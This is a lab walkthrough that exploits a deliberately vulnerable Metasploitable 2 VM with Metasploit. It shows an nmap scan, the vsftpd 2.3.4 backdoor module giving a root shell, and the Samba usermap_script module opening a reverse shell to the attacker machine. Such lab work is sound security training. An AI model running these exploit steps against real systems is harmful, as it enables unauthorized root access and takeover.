

Exploitation Using Metasploit

I am going to use Linux and Metasploitable 2 for this task

Linux is simulated as Attacker's Computer

And Metasploitable is simulated as User's Computer

1. First start with scanning ports in our vulnerable system Metasploitable(User).

You can find ip of metasploitable by using "ifconfig" command

```
(kali@vbox)-[~]
$ nmap -A 192.168.56.102
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-28 18:09 IST
Nmap scan report for 192.168.56.102
Host is up (0.0028s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.56.101
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

I'm going to exploit vsftpd vulnerability

2. Starting Metasploit

```
(root@vbox)-[/home/kali]
# msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more

.:ok000kdc'      'cdk000ko:.
.x0000000000000c      c0000000000000x.
:00000000000000k,      ,k00000000000000:
'000000000000000:      :0000000000000000'
o00000000. MMMM.o000o0000l. MMMM.o0000000o
d00000000. MMMMMM.c00000c. MMMMMM.o0000000x
l00000000. MMMMMMMMM;d. MMMMMMMMM.o0000000l
.o0000000. MMM. MMMMMMMMMMM. MMMM.o0000000.
c0000000. MMM. 00c. MMMMM'o00. MMM.o000000c
o000000. MMM.o000. MMM.o000. MMM.o000000o
l00000. MMM.o000. MMM.o000. MMM.o0000l
:0000' MMM.o000. MMM.o000. MMM;o000;
.d00o' WM.o000o000x0000.MX'x00d.
,k0l' M.o00000000000.M'd0k,
:kk;.o00000000000.;0k:
;k00000000000000k:
,x00000000000x,
.l0000000l.
,d0d,
.

=[ metasploit v6.4.54-dev ]
+ -- --[ 2499 exploits - 1289 auxiliary - 393 post ]
+ -- --[ 1607 payloads - 49 encoders - 13 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

3. Let's search for "vsftpd" vulnerability on users computer (both machine are running on same network for this)

```
msf6 > Search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  - - - - -                                     - - - - -  - - - - -  - - - - -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes     VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

It found two vulnerability on User's computer

4. Exploiting 'vsftpd_234_backdoor'

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.56.102:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.101:46613 -> 192.168.56.102:6200) at 2025-03-28 19:31:23 +0530

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ls -la
total 89
drwxr-xr-x 21 root root 4096 May 20 2012 .
drwxr-xr-x 21 root root 4096 May 20 2012 ..
drwxr-xr-x 2 root root 4096 May 13 2012 bin
drwxr-xr-x 4 root root 1024 May 13 2012 boot
lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom
drwxr-xr-x 14 root root 13540 Mar 28 09:16 dev
drwxr-xr-x 94 root root 4096 Mar 28 09:16 etc
drwxr-xr-x 6 root root 4096 Apr 16 2010 home
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
lrwxrwxrwx 1 root root 32 Apr 28 2010 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root 4096 May 13 2012 lib
drwx----- 2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
-rw----- 1 root root 7263 Mar 28 09:16 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
dr-xr-xr-x 141 root root 0 Mar 28 09:16 proc
drwxr-xr-x 13 root root 4096 Mar 28 09:16 root
drwxr-xr-x 2 root root 4096 May 13 2012/sbin
drwxr-xr-x 2 root root 4096 Mar 16 2010/srv
drwxr-xr-x 12 root root 0 Mar 28 09:16/sys
drwxrwxrwt 4 root root 4096 Mar 28 09:38/tmp
drwxr-xr-x 12 root root 4096 Apr 28 2010/usr
drwxr-xr-x 14 root root 4096 Mar 17 2010/var
lrwxrwxrwx 1 root root 29 Apr 28 2010/vmlinuz -> boot/vmlinuz-2.6.24-16-server
id
uid=0(root) gid=0(root)
```

As we can see we successfully gained access to User's Computer

Exploiting one more vulnerability

Searching

```
msf6 > search usermap_script

Matching Modules
=====

#  Name                                     Disclosure Date  Rank      Check  Description
-  - - - - -                               - - - - -      - - - - -  - - - - -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
```

Exploiting

```
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP double handler on 192.168.56.101:5555
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo aJzBuuZF85UxnNkz;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "aJzBuuZF85UxnNkz\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.56.101:5555 -> 192.168.56.102:46293) at 2025-03-28 19:41:58 +0530

whoami
root
```